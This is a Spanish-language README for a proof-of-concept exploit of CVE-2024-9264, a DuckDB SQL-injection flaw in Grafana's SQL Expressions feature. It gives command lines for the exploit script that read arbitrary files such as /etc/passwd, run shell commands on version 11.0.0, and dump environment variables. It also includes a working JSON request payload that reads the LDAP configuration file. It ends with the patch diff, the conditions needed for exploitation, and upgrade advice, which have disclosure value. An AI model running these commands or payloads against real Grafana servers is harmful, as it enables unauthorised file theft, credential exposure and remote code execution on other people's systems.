
Exploit para lectura arbitraria de archivos y RCE en Grafana (CVE-2024-9264)
Este PoC demuestra la explotación de CVE-2024-9264 mediante un usuario autenticado para realizar una consulta SQL de DuckDB y leer un archivo arbitrario del sistema de archivos o ejecutar código arbitrario de forma remota.
El código arbitrario solo se puede ejecutar en Grafana v11.0.0.
Los archivos se pueden leer en todas las versiones vulnerables.
Configuración: Instala las dependencias necesarias mediante:
pip install -r requirements.txt
Lectura de archivos (Universal):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Ejecución de comandos (solo v11.0.0)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
También puedes ejecutar consultas arbitrarias de DuckDB, como llamar a getenv para recuperar variables de entorno:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
La lista de funciones utilitarias de DuckDB que se pueden explotar se puede encontrar aquí.
CVE-2024-9264 es una vulnerabilidad de inyección SQL de DuckDB en la función experimental de Expresiones SQL de Grafana. Cualquier usuario autenticado puede ejecutar consultas SQL arbitrarias de DuckDB a través de expresiones modificadas en los paneles de Grafana.
Versiones afectadas:
Versiones parcheadas:
Grafana lanzó versiones especiales para corregir esta vulnerabilidad. Para analizar el parche, se pueden usar los siguientes comandos para comparar los cambios:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Esto revela que la función de Expresiones SQL simplemente se eliminó de las versiones vulnerables.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
El parche elimina por completo las Expresiones SQL, lo que impide la posibilidad de explotación.
Iniciar Grafana: Ejecuta Grafana con la versión 11.0.5:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Modificar una Expresión:
Crea un panel con una expresión como "Math", intercepta la solicitud con Burp y modifica el tipo de datasource de math a sql.
Se enviará una solicitud HTTP a /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.
A continuación se muestra el JSON mínimo necesario para realizar una consulta SQL de DuckDB y leer un archivo arbitrario como ./conf/ldap.toml:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
No es necesario que haya un panel presente para la explotación real, es solo una forma fácil de encontrar la solicitud HTTP para ejecutar una consulta.
Es importante tener en cuenta que, aunque esta vulnerabilidad es crítica, su explotabilidad depende de si el binario de DuckDB está instalado en el servidor de Grafana. Por defecto, Grafana no incluye DuckDB instalado y no hay opción para instalarlo directamente desde la interfaz de Grafana.
Para que esta vulnerabilidad sea explotable, un administrador debe haber instalado manualmente DuckDB y haberlo agregado al $PATH del servidor de Grafana. Si DuckDB no está presente, la vulnerabilidad de inyección SQL no se puede aprovechar, lo que reduce significativamente la probabilidad de una explotación exitosa en instalaciones predeterminadas.
Actualiza Grafana a las versiones parcheadas y asegúrate de que el binario de DuckDB no esté presente en el $PATH si el parche se retrasa.